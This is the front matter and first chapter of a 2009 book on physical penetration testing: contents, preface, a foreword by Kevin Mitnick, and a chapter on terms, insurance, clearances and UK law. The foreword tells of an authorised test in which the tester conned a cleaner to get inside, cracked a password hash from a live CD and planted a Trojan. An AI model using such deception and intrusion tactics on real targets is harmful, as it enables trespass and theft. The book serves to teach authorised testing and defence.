{ "pages": [ { "page_number": 1, "text": "" }, { "page_number": 2, "text": "" }, { "page_number": 3, "text": "Unauthorised Access\n" }, { "page_number": 4, "text": "" }, { "page_number": 5, "text": "Unauthorised Access\nPhysical Penetration Testing For IT\nSecurity Teams\nWil Allsopp\nA John Wiley and Sons, Ltd., Publication\n" }, { "page_number": 6, "text": "This edition first published 2009\n2009, John Wiley & Sons, Ltd\nRegistered office\nJohn Wiley & Sons Ltd, The Atrium, Southern Gate, Chichester, West Sussex, PO19 8SQ, United Kingdom\nFor details of our global editorial offices, for customer services and for information about how to apply for permission to\nreuse the copyright material in this book please see our website at www.wiley.com.\nThe right of the author to be identified as the author of this work has been asserted in accordance with the Copyright,\nDesigns and Patents Act 1988.\nAll rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form\nor by any means, electronic, mechanical, photocopying, recording or otherwise, except as permitted by the UK\nCopyright, Designs and Patents Act 1988, without the prior permission of the publisher.\nWiley also publishes its books in a variety of electronic formats. Some content that appears in print may not be available\nin electronic books.\nDesignations used by companies to distinguish their products are often claimed as trademarks. All brand names and\nproduct names used in this book are trade names, service marks, trademarks or registered trademarks of their respective\nowners. The publisher is not associated with any product or vendor mentioned in this book. This publication is designed\nto provide accurate and authoritative information in regard to the subject matter covered. It is sold on the understanding\nthat the publisher is not engaged in rendering professional services. If professional advice or other expert assistance is\nrequired, the services of a competent professional should be sought.\nISBN 978-0-470-74761-2\nTypeset in 10/12 Optima by Laserwords Private Limited, Chennai, India\nPrinted and bound in Great Britain by Bell & Bain Ltd, Glasgow\n" }, { "page_number": 7, "text": "To Nique for being herself and to my family for supporting\nand inspiring me.\n" }, { "page_number": 8, "text": "" }, { "page_number": 9, "text": "Contents\nPreface\nxi\nAcknowledgements\nxv\nForeword\nxvii\n1\nThe Basics of Physical Penetration Testing\n1\nWhat Do Penetration Testers Do?\n2\nSecurity Testing in the Real World\n2\nLegal and Procedural Issues\n4\nKnow the Enemy\n8\nEngaging a Penetration Testing Team\n9\nSummary\n10\n2\nPlanning Your Physical Penetration Tests\n11\nBuilding the Operating Team\n12\nProject Planning and Workflow\n15\nCodes, Call Signs and Communication\n26\nSummary\n28\n3\nExecuting Tests\n29\nCommon Paradigms for Conducting Tests\n30\nConducting Site Exploration\n31\nExample Tactical Approaches\n34\nMechanisms of Physical Security\n36\nSummary\n50\n" }, { "page_number": 10, "text": "viii\nCONTENTS\n4\nAn Introduction to Social Engineering\nTechniques\n51\nIntroduction to Guerilla Psychology\n53\nTactical Approaches to Social Engineering\n61\nSummary\n66\n5\nLock Picking\n67\nLock Picking as a Hobby\n68\nIntroduction to Lock Picking\n72\nAdvanced Techniques\n80\nAttacking Other Mechanisms\n82\nSummary\n86\n6\nInformation Gathering\n89\nDumpster Diving\n90\nShoulder Surfing\n99\nCollecting Photographic Intelligence\n102\nFinding Information From Public Sources and the\nInternet\n107\nElectronic Surveillance\n115\nCovert Surveillance\n117\nSummary\n119\n7\nHacking Wireless Equipment\n121\nWireless Networking Concepts\n122\nIntroduction to Wireless Cryptography\n125\nCracking Encryption\n131\nAttacking a Wireless Client\n144\nMounting a Bluetooth Attack\n150\nSummary\n153\n8\nGathering the Right Equipment\n155\nThe ‘‘Get of Jail Free’’ Card\n155\nPhotography and Surveillance Equipment\n157\nComputer Equipment\n159\nWireless Equipment\n160\nGlobal Positioning Systems\n165\nLock Picking Tools\n167\nForensics Equipment\n169\nCommunications Equipment\n170\nScanners\n171\nSummary\n175\n" }, { "page_number": 11, "text": "CONTENTS\nix\n9\nTales from the Front Line\n177\nSCADA Raiders\n177\nNight Vision\n187\nUnauthorized Access\n197\nSummary\n204\n10\nIntroducing Security Policy Concepts\n207\nPhysical Security\n208\nProtectively Marked or Classified GDI Material\n213\nProtective Markings in the Corporate World\n216\nCommunications Security\n218\nStaff Background Checks\n221\nData Destruction\n223\nData Encryption\n224\nOutsourcing Risks\n225\nIncident Response Policies\n226\nSummary\n228\n11\nCounter Intelligence\n229\nUnderstanding the Sources of Information Exposure\n230\nSocial Engineering Attacks\n235\nProtecting Against Electronic Monitoring\n239\nSecuring Refuse\n240\nProtecting Against Tailgating and Shoulder Surfing\n241\nPerforming Penetration Testing\n242\nBaseline Physical Security\n245\nSummary\n247\nAppendix A: UK Law\n249\nComputer Misuse Act\n249\nHuman Rights Act\n251\nRegulation of Investigatory Powers Act\n252\nData Protection Act\n253\nAppendix B: US Law\n255\nComputer Fraud and Abuse Act\n255\nElectronic Communications Privacy Act\n256\nSOX and HIPAA\n257\nAppendix C: EU Law\n261\nEuropean Network and Information Security Agency\n261\nData Protection Directive\n263\n" }, { "page_number": 12, "text": "x\nCONTENTS\nAppendix D: Security Clearances\n265\nClearance Procedures in the United Kingdom\n266\nLevels of Clearance in the United Kingdom\n266\nLevels of Clearance in the United States\n268\nAppendix E: Security Accreditations\n271\nCertified Information Systems Security Professional\n271\nCommunication–Electronics Security Group CHECK\n272\nGlobal Information Assurance Certification\n274\nINFOSEC Assessment and Evaluation\n275\nIndex\n277\n" }, { "page_number": 13, "text": "Preface\nThis is a book about penetration testing. There is nothing innately new\nabout that – there are dozens of books on the subject but this one is\nunique. It covers in as much detail as is possible the oft overlooked art of\nphysical penetration testing rather than, say, ethical hacking. We won’t\nteach you how to use port scanners or analyze source code. There are\nplenty of places you can learn about that and, to a certain degree, if\nyou’re reading this book then I’m going to assume you have grounding\nin the subject matter anyway. The purpose of this book is twofold: to\nprovide auditing teams with the skills and the methodology they need\nto conduct successful physical penetration testing and to educate those\nresponsible for keeping attackers out of their facilities.\nMy personal experience in physical penetration testing began about\nseven years ago when, following a scoping meeting to arrange an ethical\nhacking engagement at a data centre in London, the client asked almost\nas an aside, ‘By the way, do you guys do social engineering, that sort of\nthing – you know try and break in and stuff?’. I responded (like any junior\nconsultant sitting next to a senior salesman) that of course we did! As it\nturned out we thought about it, decided to give it a shot and . . . failed.\nMiserably. Not surprisingly.\nMy team and I were hackers, lab rats. In effect, we didn’t know the first\nthing about breaking into buildings or conning our way past security\nguards. This is a situation now facing an increasing number of ethical\nhacking teams who are being asked to perform physical testing. We know\nit needs to be done and the value is obvious, but where to begin? There\nare no books on the subject, at least none available to the general public\n(other than the dodgy ones on picking locks published by Loompanics\n" }, { "page_number": 14, "text": "xii\nPREFACE\nUnlimited). So I decided to fill the void and write one. It has a special\nemphasis on combining physical testing with information security testing\nsimply because ethical hacking teams are most likely to be employed for\nthis kind of work (at least in the private sector) and because ultimately it’s\nyour information systems that are the most likely target for any attacker.\nHowever, anyone with a need to understand how physical security can\nfail will benefit from this book – the culmination of a number of years\nof experience performing all manner of penetration testing in all kinds of\nenvironments.\nWho this Book Is For\nAnyone who has an interest in penetration testing and what that entails\nwill benefit from this book. You might have an interest in becoming\na penetration tester or you might work in the industry already with an\naim to learn about physical penetration testing. You might want to learn\nhow attackers gain access to facilities and how this can be prevented\nor perhaps you’re considering commissioning a physical penetration test\nand want to learn what this involves.\nThis book is written for you.\nWhat this Book Covers\nUnauthorized Access discusses the lifecycle of a physical penetration test\nfrom start to finish. This starts with planning and project management\nand progresses through the various stages of execution. Along the way,\nyou’ll learn the skills that are invaluable to the tester including social\nengineering, wireless hacking, and lock picking.\nThe core subjects discuss what takes place during a physical penetration\ntest, what you can expect and how to deal with problems. Equipment\nnecessary to carrying out a test is given its own chapter.\nChapter 9 includes case studies that draw on my own personal testing\nexperience, which I hope will inspire you. Chapters 10 and 11 focus on\nprotecting against intruders and corporate spies and how this relates to\nthe cornerstone of information security; the security policy.\nThe appendices deal with miscellaneous subjects such as law, accredita-\ntions and security clearance.\n" }, { "page_number": 15, "text": "PREFACE\nxiii\nHow this Book Is Structured\nThe two most important chapters in this book are Chapter 2 and Chapter 3.\nThese contain the core theory and practice of physical penetration testing.\nThe chapters that follow it discuss in depth the skill sets you will be\nrequired to master:\n•\nChapter 4 – This chapter discusses how to manipulate human nature.\nSocial engineering is the art of the con man and probably the single\nmost crucial set of skills you will learn. The practice of these skills is\nat the core of any successful operating team.\n•\nChapter 5 – Generally this concerns defeating locks. This chapter\nassumes no previous knowledge and these skills are not difficult to\nmaster. This is a crash course.\n•\nChapter 6 – Knowledge is power; the more you have the more pow-\nerful you become. This chapter covers the basics of how and where to\ngather information, from how to successfully leverage Internet search\ntechnologies and databases through to the physical surveillance of\ntarget staff and facilities.\n•\nChapter 7 – Despite the security shortcomings of wireless networks\n(both 802.11x and Bluetooth) being well documented, many com-\npanies continue to deploy them. I discuss equipment, how to crack\nencryption and bypass other security mechanisms. I provide you short-\ncuts to get you up and running quickly and introduce some newer\ntechniques for compromising wireless networks that will guarantee\nthat if you’re using wireless in your business now, you won’t be when\nyou finish this chapter.\n•\nChapter 8 – This chapter offers an in-depth discussion of the equip-\nment you need, where to get it and how to use it.\n•\nChapter 9 – This chapter offers a few historical scenarios taken from\nmy case history. Names have been changed to protect those who\nshould have known better.\n•\nChapter 10 – This chapter provides basic information about what a\nsecurity policy should cover. If you’ve read this far and still don’t have\na security policy, this chapter helps you write one.\n•\nChapter 11 – This chapter covers how to minimize your exposure to\ninformation leakage, social engineering and electronic surveillance.\n•\nAppendix A – This provides a legal reference useful to UK testers.\n•\nAppendix B – This provides a legal reference useful to US testers.\n•\nAppendix C – This provides a legal reference useful when conducting\ntesting in the European Union.\n" }, { "page_number": 16, "text": "xiv\nPREFACE\n•\nAppendix D – This clarifies the differing terms used in the United\nStates and United Kingdom.\n•\nAppendix E – This tells you about the various tests you can take or the\ntests you want to be sure a tester has taken before hiring.\nWhat You Need to Use this Book\nI’ve written Unauthorized Access to be as accessible as possible. It’s not\nan overly technical read and although grounding in security principles\nis desirable, it’s not a requirement. Chapter 7 (in which the discussion\nfocuses on compromising the security of wireless technologies) is techni-\ncal from start to finish but it does not assume any previous knowledge and\nprovides references to the requisite software and hardware as well as step\nby step instructions. If you have a grounding in penetration testing (or at\nleast know what it is) so much the better but again this is not necessary.\nWhat you need to use this book and what you need to carry out a\nphysical penetration test are two different things (for that you should refer\nto Chapter 8). However, I strongly recommend you have the following:\n•\nA modern laptop computer;\n•\nA copy of the Backtrack 3 Live Linux Disc – available from\nwww.remote-exploit.org;\n•\nA Backtrack compatible wireless network card (see Chapter 8).\nYou may also wish to purchase a set of lock picks to practice what you\nlearn. You should consider this to be the starting point. There is a vast\narray of equipment relevant to this field but you don’t, by any means,\nneed all of it.\n" }, { "page_number": 17, "text": "Acknowledgements\nI would like to thank my superb editing team and of course my colleagues\nat Madison Gurkha for giving me the time to work on this. In particular I’d\nlike to thank, in no particular order, the following: Andrew Dalton, Frans\nKoll´ee, Pieter de Boer, Tim Hemel, Arjan de Vet, Steve Witmer, Caroline\nvan de Wiel, Hans van de Looy, Guido van Rooij, Remco Huisman,\nWalter Belgers, Ward Wouts, Thijs Hodiamont, Serge van den Boom,\nMarnix Aarts, Jan Hendrikx, Jack Franken, Haywood Mcdowell, Rob\nLockwood, Corinne Hanskamp, Willem-Jan Grootjans and Gary Mcgath.\n" }, { "page_number": 18, "text": "" }, { "page_number": 19, "text": "Foreword\nKevin Mitnick\nBillions of dollars are spent each year by governments and industry\nto secure computer networks from the prying eyes of an attacker. As\na security consultant, I have done quite a few system hardening jobs\nwhere the entire focus was upon the firewalls, server configuration,\napplication security, intrusion detection systems, and the like. Some\nmanagers completely rely on this technology and put little or no emphasis\non better securing their physical perimeter.\nThose employed in the computer security industry are fully aware that\nonce physical access to networks is obtained 90% of the obstacles are\nremoved. The attackers are aware of this too, and have demonstrated their\nagility in bypassing standard security measures when foiled after attempts\nat remotely accessing a system. In addition to those on the outside that\nmay attempt to circumvent your controls, there are many on the inside\n(employees and vendors) that already have access. Adding another layer\nof physical security may deter both of these groups. Consultants in the\nsecurity field must continually expand their skill set to accommodate\nthe ever-changing environments and protect their client’s assets. In this\nbook Wil Allsopp has created a thorough reference for those looking\nto advance into the area of physical penetration testing. The book also\nserves as a guidebook for in-house security managers seeking to institute\nbetter policy safeguards.\nEvery month it seems that we are hearing in the media about large-scale\nattacks on corporations, the government and financial institutions. Many\nof these have involved physical barrier penetrations, with the most notable\nbeing a huge retailer whose credit card databases were compromised by\n" }, { "page_number": 20, "text": "xviii\nFOREWORD\na group that was reportedly inside the network for more than two years\nundetected. It was touted by the government as the largest theft to date\nof credit card numbers, which was placed at over 47 million accounts.\nHow were they able to get in? One method was to swipe a wireless\nbarcode scanner and extract the encryption key used to communicate\nwith the wireless access point inside a retail location. The crooks also\nobtained physical access to a crawlspace above the store, spliced into\nthe Ethernet, and planted their own secret wireless router. While this\ndescribes the most brazen of attackers, don’t be surprised to hear more\nstories like this in the future. The rapidly advancing technology side\nof computer security is making electronic intrusions increasingly more\ndifficult for hackers, therefore we will see greater implementation of the\nphysical security attack methods explained in this book, played out in\ntandem with a technical attack.\nA few years ago I was performing a penetration test, which included a\nscope of testing physical security controls. The first morning I dressed\nin my suit and arrived in the lobby of the client’s office to meet with\nmy contact. Noticing a display of business cards at the reception desk I\npocketed a few inside my coat jacket. For the next two days I remained\nin my car, parked close by, just watching the building and observing\nbehaviors of those coming and going. At about 8:30 each night a janitorial\nservice arrived at the office complex to clean the offices. I knew this was\nmy ‘in’. Armed with the business cards from the first morning, and once\nagain outfitted in a suit, I walked up to the door and began banging on\nthe glass. A few minutes later, one of the cleaning crew arrived to open\nthe door. I explained that I had left my keys in my office while handing\nhim ‘my’ business card; he stepped aside and waved me through.\nOnce I was in the building I began to search for my target’s cubicle\n(some research was performed beforehand to narrow down the location\nof his cubicle). I sat at the computer, turned it on, slid a Linux Live\nCD into the CD-ROM drive, entered in a few commands, and grabbed\nthe Administrator’s password hash for that machine. It took only a few\nminutes to crack the password hash using rainbow tables. Once I had\naccess to the computer I installed a Trojan on the system (this was the\nset goal), powered down the system, packed up my things and left the\npremises. This all occurred in about twenty minutes and the client had\nno idea that they had been compromised until the details were provided\nin the report.\nSecuring proprietary information is multi-faceted and can no longer be\napproached with by focusing on the technology alone. All potential access\npoints must be scrutinized carefully to ensure that ingress is denied on\nmultiple levels. In Unauthorised Access: Physical Penetration Testing For\nIT Security Teams, Allsopp addresses this concept with a relevant and\npertinent outline for performing physical penetrations test by familiarizing\n" }, { "page_number": 21, "text": "FOREWORD\nxix\nthe would-be tester with the methodologies and tools needed to perform\nthe test, and illustrating them with the colorful recanting of tales from his\nvast experience as a security consultant. These stories help to provide\nreal-world examples of the techniques that are being used by attackers\nevery day.\nPerforming physical penetration testing within your organization should\nnot only be reserved for businesses trying to safeguard information, but\ncan be also be applied to provide better security against theft, trespassing,\nand guard against industrial espionage. This book will first take you\nthrough the terminology, planning, and equipment needed to perform the\ntest. As Allsopp reminds you in later chapters, security is only as strong\nas its weakest link, which is most likely to be the very people employed\nby the target.\nOnce the lingo used in testing is defined, and some of the pitfalls regarding\nphysical layouts of facilities that may be encountered are outlined, you\nare introduced to a primer on social engineering, which is the practice\nof using deception, manipulation, and influence to persuade the target\nto comply with your request. Allsopp recognizes that those best versed\nin social engineering possess certain personality traits that make them\nespecially adept in this type of manipulation, but attempts to provide an\nintroduction of some basic knowledge for the inexperienced to build on\nbecause he realizes the importance of mastering this skill. This is critical,\nas there is rarely a compromise of security that takes place without some\nlevel of social engineering.\nFor those that have already conducted a physical penetration test in the\npast, there are several chapters that should provide a few new things for\nyour arsenal as the subject matter switches to information gathering, lock\npicking and wireless technology. The chapter on lock picking is brief,\nbut provides excellent resources to learn more on the subject as well as\ngiving the reader an overview of the basic steps in picking a lock along\nwith general information on various locking mechanisms and how they\ncan be bypassed. Even if you’re never picked a lock before, Chapter 7\nwill make you want to try.\nMany might not consider wireless hacking as a ‘physical’ attack method,\nbut if you consider that most wireless access points have a broadcast range\nof less than 300 meters without a long-range antenna, to take advantage\nof these devices you must place yourself within the allotted radius to\ncompromise the target. Having in-depth knowledge of wireless devices\ncan be used for more than just attacking them. If you can obtain physical\naccess to cabling, a ‘hard-wired’ network could suddenly become a\nwireless one, if spliced into with a device placed in-line. Wireless\ntechnology is probably one of the most commonly misconfigured items\n" }, { "page_number": 22, "text": "xx\nFOREWORD\nproviding perimeter security, and if compromised, it can easily become\nthe low-hanging fruit sought by attackers.\nAfter you are enlightened and possess a solid understanding of executing\nphysical penetration tests, Allsopp gathers all the techniques discussed\nand rolls them into detailed true-life accounts in Chapter 9. The first\nexample describes a pen test performed on a SCADA (Supervisory Control\nAnd Data Acquisition) system. There has been an elevated awareness of\nterrorism since 9/11, and SCADA systems have been receiving significant\nmedia attention since they are used to monitor and control critical\ninfrastructure processes such as power generation, life support systems,\nwater treatment, and telecommunications. Many speculators are afraid\nthat the power grid could be compromised in a standalone terrorist act,\nor use in conjunction with a symbolic attack, to reduce the response\ntime of emergency personnel to the scene. These systems are in perpetual\nproduction and are not usually connected to the internet, so taking them\noffline for maintenance and upgrades is very difficult, which makes their\nphysical security all the more important.\nAllsopp’s example of lax security at a power substation, unfortunately,\nis not limited to the UK. Often, these critical systems in many countries\nare left unmanned and may not be protected by anything more than a\nbarbed-wire fence and padlocks. Sure, there may be some electronically\nlocked doors and access gates, but as shown in prior chapters, these are\neasily bypassed by a determined intruder. Armed with a laptop and key\ninformation, if you can get past these controls, you are most likely going\nto find an unpatched system that could grant you ‘keys to the kingdom’.\nThe infusion of the real-life stories help to clearly demonstrate the\ntypical shortcomings due to the lack of proper procedures, employee\ntraining, and policies in place. You can employ the latest technology\nand implement multiple layers of defense, but if your personnel are not\nproperly trained to spot weaknesses and then act on them, all of these\nprecautions are rendered almost useless. Allsopp addresses concepts to\nprovide better policy, incident response, and access control. Much of this\ninvolves classifying assets so that employees are aware of what is most\nimportant to safeguard.\nWhile this book is aimed at security consultants looking to add physical\npenetration testing to their repertoires it would also be a great read\nfor those managing security for various organizations. It would be a\nuseful reference tool for IT/Security Managers to implement better policy\nand training for its employees. If you could only walk away with one\nthing from this book it would be the lesson to teach your employees\nto challenge and verify. An apology is a much easier thing to give than\nhaving to explain how you were instrumental in allowing an intruder to\nbypass established protocols.\n" }, { "page_number": 23, "text": "1\nThe Basics of Physical Penetration\nTesting\nIf you know the enemy and know yourself, you need not fear the result of\na hundred battles.\nSun Tzu: The Art of War\nThere is an old saying that security is only as strong as the weakest link in\nthe chain. This is an erudite and often overlooked truth. The weakest link\nis never the cryptographic keys protecting a VPN link or the corporate\nfirewalls guarding the borders of a network, although these technologies\ncertainly have their shortfalls. The weakest link in any security scenario\nis people. Some people are lazy and all people make mistakes and can\nbe manipulated. This is the most important security lesson you will ever\nlearn: security in any form always boils down to people and trust. Any\ndecent computer hacker will tell you: if you want to be good, learn\ntechnologies and programming languages, reverse engineer operating\nsystems, and so on. To be a great hacker requires learning skills that are\ngenerally not maintained by people of this mindset. Once you master\nthe manipulation of people, you can break into anything – any system\nwhether corporate, electronic or human is vulnerable.\nThis chapter covers the basics of penetration testing, the things you need\nto know before you dive into the more interesting practical chapters. This\nincludes a guide to terminology unique to penetration testers, a little on\nlegal and procedural issues (because an understanding of the relevant\nlegislation is critical) and, of course, a discussion of why penetration\ntesting is important, including a look at what organizations usually hope\nto achieve from engaging in a penetration test.\nConducting physical penetration tests is a unique and challenging way\nto earn a living; it requires a certain mindset, a broad skill set and takes\nexperience to become accomplished. This book can’t help you with the\n" }, { "page_number": 24, "text": "2\nTHE BASICS OF PHYSICAL PENETRATION TESTING\nmindset: that’s something you have to develop; or the experience: that’s\nsomething you have to accumulate; but it will go a long way to providing\nyou with the relevant skill set and this chapter is the first step.\nIf you are representing an organization and want to ensure that you have\nthe highest form of security in place, penetration testing can help you.\nThis chapter tells you what to expect from a penetration testing team.\nWhat Do Penetration Testers Do?\nPenetration testers are hired by organizations to compromise security in\norder to demonstrate vulnerability. They do this every day and their ability\nto pay the rent depends on their success at breaking through security.\nTo demonstrate computer security flaws, penetration testers use reverse\nengineering software. They hack into networks and defeat protocols.\nWith respect to physical security, they demonstrate vulnerability through\nphysical intrusion into client premises. This is most often achieved through\ncovert intelligence gathering, general deception, and social engineering\nalthough it may involve a more direct approach such as a night-time\nintrusion, defeating locks and crawling up fire escapes, depending on\nthe rules of engagement. The differences between computer and physical\nintrusion may seem vast, but there is significant crossover between the\ntwo and they are often performed in tandem.\nI have been conducting penetration tests in one form or another for over a\ndecade and in that time I’ve seen client requirements change – both with\nthe changing face of technology and a growing awareness of the threats\nfaced by organizations wishing to keep their confidential data secure. The\nproblem in a nutshell is this: you can have the best firewalls and change\ncontrol procedures; you can have regular electronic penetration testing\nagainst networks and applications; you can audit your source code and\nlock down your servers. All of these approaches are fine and, if conducted\nwell, are generally worthwhile. However, if an attacker can physically\npenetrate your premises and access information systems directly, these\nstrategies won’t protect you. This ‘hard shell, soft center’ approach to\nsecurity has led to some of the most serious information system breaches\nin memory. As you will learn, there is far more to security than SSL and\npatching against the latest buffer overflows.\nSecurity Testing in the Real World\nMilitary organizations, particularly the US military, have employed pen-\netration testing teams (called ‘tiger teams’ or ‘red teams’) for decades.\n" }, { "page_number": 25, "text": "SECURITY TESTING IN THE REAL WORLD\n3\nTheir remit is to penetrate friendly bases to assess the difficulty an enemy\nwould have gaining the same access. This could involve planting a card-\nboard box with the word ‘bomb’ written on it or attempting to steal code\nbooks. It might involve gaining access to a secure location and taking\nphotographs or taking something of intelligence value. As time has gone\nby, the term ‘tiger team’ has become more associated with computer\npenetration teams; however the term is still widely used in its original\ncontext within the military. The challenges faced by testers in the private\nand government sectors are very different from those presented to mili-\ntary tiger teams, not least because they have significantly less chance of\nbeing shot at. (I speak from experience . . . .) However while the attackers\nthat one wishes to guard against are fundamentally different (terrorists in\none case and industrial espionage actors in the other, for example) the\napproach is not dissimilar. All testers start with a specific goal, gather\nintelligence on their target, formulate a plan of attack based on available\ninformation and finally execute the plan. Each of these steps is covered in\ndetail in this book but first, in the interests of consistency, let’s consider\nsome of the terms I will be using throughout this text:\n•\nTarget – the client initiating the test and the physical location at which\nthe target resides;\n•\nGoal – that which must be attained in order for the penetration test to\nbe considered successful, such as the following examples:\n•\nBreach border security at the target location (the simplest form of\ntest, often as basic as penetrating beyond reception, where most\nphysical security procedures end).\n•\nGain physical access to the computer network from within the\ntarget location.\n•\nPhotograph a predetermined asset.\n•\nAcquire a predetermined asset.\n•\nGain access to predetermined personnel.\n•\nAcquire predetermined intelligence on assets or personnel.\n•\nPlant physical evidence of presence.\n•\nAny combination of the above.\n•\nAsset – a location within the target, something tangible the operating\nteam must acquire (such as a server room or a document) or something\nintangible such as a predetermined level of access;\n•\nPenetration test – a method of evaluating the security of a computer\nsystem, network or physical facility by simulating an attack by an\nintruder;\n•\nOperating team – the team tasked with conducting a penetration test.\nIn the context of a physical penetration and starting from the moment\nthe test is initiated, the operating team is likely to consist of:\n" }, { "page_number": 26, "text": "4\nTHE BASICS OF PHYSICAL PENETRATION TESTING\n•\nplanners;\n•\noperators (those actually conducting the physical test);\n•\nsupport staff.\nThe makeup of the team will depend on the nature of the test. For\nexample, a test involving computer access following a successful\nphysical penetration must have at least one operator skilled in\ncomputer intrusion. Those skilled in social engineering are likely\nto be deployed in a planning or support capacity.\n•\nScope – the agreed rules of engagement, usually based around a black\nbox (zero knowledge) approach or a crystal box (information about\nthe target is provided by the client) approach;\n•\nAnticipated resistance or security posture – the resistance an operat-\ning team faces, depending on a number of factors:\n•\nthe nature of the target;\n•\nsecurity awareness among staff;\n•\nquantity (and quality) of security personnel;\n•\ngeneral preparedness and awareness of potential threats at the\ntarget.\nOther factors include the difficulty of the assignment and the effectiveness\nof the security mechanisms to protect assets.\nLegal and Procedural Issues\nInternational law applicable to security testing is covered in Appendices\nA and B. However, this overview should at least get you thinking about\nthe legal issues you need to take into consideration.\nMost clients expect – and rightly so – a penetration team to be insured\nbefore they even consider hiring them. Although I’m not going to point\nyou in the direction of any particular insurance providers, you must\npossess errors and omissions coverage, at a minimum. The coverage\nrequired varies from region to region and is governed by rules laid out in\nspecific jurisdictions.\nIndemnity insurance is highly recommended. Insurance companies may\nwant to know a little about your team members before signing off a\npolicy. Such information could include medical backgrounds and almost\ncertainly will include details of criminal offences (i.e. they expect to find\nnone) as well as professional histories. None of this should be a concern\nbecause you performed background vetting on your team prior to hiring\nthem. (Didn’t you?)\n" }, { "page_number": 27, "text": "LEGAL AND PROCEDURAL ISSUES\n5\nWhen hiring a penetration testing team, be sure they are insured. This\nwill help ensure that necessary background tests have been performed on\nthe team you hire to access what could be private information.\nSecurity Clearances\nWhen performing penetration tests of any kind for either central govern-\nment or the military, team members need to hold security clearances.\nThe following information is specific to the United Kingdom although the\ngist is the same for the United States, where clearance procedures are\nfar more stringent and make extensive use of polygraphs (‘lie detector’\ntests).\nDespite overwhelming evidence to the contrary, the US government\ninsists that polygraphs can’t be beaten. They can and regularly are.\nSecurity clearances come in different flavors depending on the nature of\nthe work being performed and the sensitivity of the target. All clearances\nhave to be sponsored by the department initiating the test unless they are\nalready held by the operating team (though there are exceptions to this). In\ngeneral, all testing team members are expected to hold security check (SC)\nclearance. Almost anyone who has no criminal record and is not known to\nthe intelligence agencies is unlikely to be turned down for this clearance.\nPotential team members are required to supply basic information about\nthemselves, including places they’ve lived and past employment. They\nare generally asked questions about their membership of organizations\nas well. SC clearance permits access to protectively marked (classified)\ninformation on a project-by-project, need-to-know basis (usually up to\nSECRET). Although this clearance must be periodically renewed, it is not\n(usually) necessary to clear team members for individual tests. In general,\nSC clearance is adequate and the most realistic choice given the lead\ntime needed to arrange clearances.\nOne step up is developed vetting (DV) clearance. This is needed to work\nfor intelligence organizations such as GCHQ or MI6 and is a minimum\nrequirement for those regularly working at a TOP SECRET level. These\nclearances are issued on a project-by-project basis and they are not\ntransferable. To obtain DV clearance, prospective applicants are required\nto attend an interview (usually conducted by the Defense Vetting Agency\nor MI5). The process includes in-depth analysis of the personal and\nfinancial background of the applicant. Family and partners are also likely\nto be interviewed and their responses cross-referenced. Processing DV\n" }, { "page_number": 28, "text": "6\nTHE BASICS OF PHYSICAL PENETRATION TESTING\nclearances is a costly and time-consuming business for the government\nand often people being vetted for government jobs start working in their\nnew positions (albeit at a lower level of security) long before they are\ncleared. Only the most sensitive tests will require DV clearance.\nThe bottom line is to know who you are hiring so that insurance and\nsecurity clearances are a mere headache rather than a major pain. In the\nUK, a potential hire can provide a statement from the police that no file is\nheld on them (the Data Protection Act gives the right to such a statement).\nIf you are putting a penetration testing team together, I recommend that\nyou also run a financial background check on everyone, if only to be able\nto show your clients that you’ve taken due diligence, rather than because\nit has any intrinsic value.\nAppendix D covers security clearances in the United Kingdom and the\nUnited States.\nStaying Within the Law\nIt should go without saying that a lot of the skills outlined in this book are\nof use to criminals as well as to legitimate penetration testers. I have no\nparticular concerns in putting these skills down on paper. The bad guys\nare already well versed in them. However I would be remiss if I didn’t\npoint out that it is your responsibility to ensure you always remain on\nthe right side of the law. As I discuss the various subjects in this book, I\ndo my best to apprise you of any relevant legal issues you may run into\nbut I’m not a lawyer. Your company should always obtain qualified legal\nadvice. The following pieces of UK legislation are illustrative examples\nof aspects of the law you might not have considered.\nHuman Rights Act 1998\nIn 2000, the United Kingdom incorporated the European Convention on\nHuman Rights into UK law. The majority of the Human Rights Act 1998\nis irrelevant to penetration testing. However, there are one or two things\nto be aware of when conducting any form of penetration testing.\nArticle 8 – Right to respect for private and family life\n1. Everyone has the right to respect for his private and family life, his\nhome and his correspondence.\n" }, { "page_number": 29, "text": "LEGAL AND PROCEDURAL ISSUES\n7\n2. There shall be no interference by a public authority with the\nexercise of this right except such as is in accordance with the law\nand is necessary in a democratic society in the interests of national\nsecurity, public safety or the economic well-being of the country,\nfor the prevention of disorder or crime, for the protection of health\nor morals, or for the protection of the rights and freedoms of others.\nThe key to Article 8 is privacy which can be (and has been) interpreted\nin some unexpected ways. For example, if a penetration testing team, in\nthe execution of their duties, accidentally or deliberately intercepted the\nprivate communications of target staff, an offence has been committed\nunder Article 8. For example, a target user checks her Yahoo! email on a\ncompany computer over the company network. Nobody has the right to\nintercept that email. The fact that what she’s doing may be a disciplinary\nmatter under the terms of her employment is irrelevant.\nI’ll give you another (true) example so that you can appreciate the scope\nof what I’m talking about. A hacker breaches the security of a central\ngovernment department, or so he believes. Actually, he’s breached a\n‘honey pot’ set up to study hacker behavior. The hacker routes his traffic\nvia this honey pot and uses it to check his email. In doing so, he allows\nhis communications to be intercepted by government security personnel.\nThis email is private; by capturing, storing (and indeed reading) the email,\nan offence has been committed.\nThe bottom line – whether you think this is crazy or not – is that you need\nto be aware of what you’re looking at and the potential legal ramifications\nof what you do. If you are hiring a penetration testing team, you need to\nbe aware of what they can legally do.\nComputer Misuse Act 1990\nAt its core, the Computer Misuse Act 1990 makes it a crime to knowingly\naccess an information system without permission. Read and craft your\nrules of engagement carefully: a penetration testing team may have\npermission to target a specific computer or network within the target, but\nnot the ones adjacent to it. They may be authorized to attack a specific\nserver, but not the applications running on it (which may be under a\ncompletely different sphere of organizational responsibility).\nAt any time, if the operating team is in doubt as to their legal position they\nshould immediately confer with their support staff. See the appendices\nfor the relevant text of US, UK and EU legislation.\n" }, { "page_number": 30, "text": "8\nTHE BASICS OF PHYSICAL PENETRATION TESTING\nKnow the Enemy\nI began this chapter with perhaps the most famous quotation from Sun\nTzu’s Art of War: Know the enemy and know yourself. Before you can\nknow the enemy, you have to know who the enemy is. For the military\nthis is straightforward: they tend to be the guys shooting at you and\nbombing you. In the commercial world, the enemy is not quite so simple\nto define. The threats that organizations face in the modern world tend to\nbe various and multilateral.\nFor a physical penetration test to have any intrinsic value, it is vital to\ndetermine and, to a certain degree, emulate the nature of the threat facing\nthat organization. The threats faced may differ dramatically. Table 1.1\nbriefly explains the targets and their potential exposure that operating\nteams are most likely to encounter. This subject gets much more detailed\ntreatment later in the book. The given threat should not necessarily alter\nyour approach, but it should certainly guide 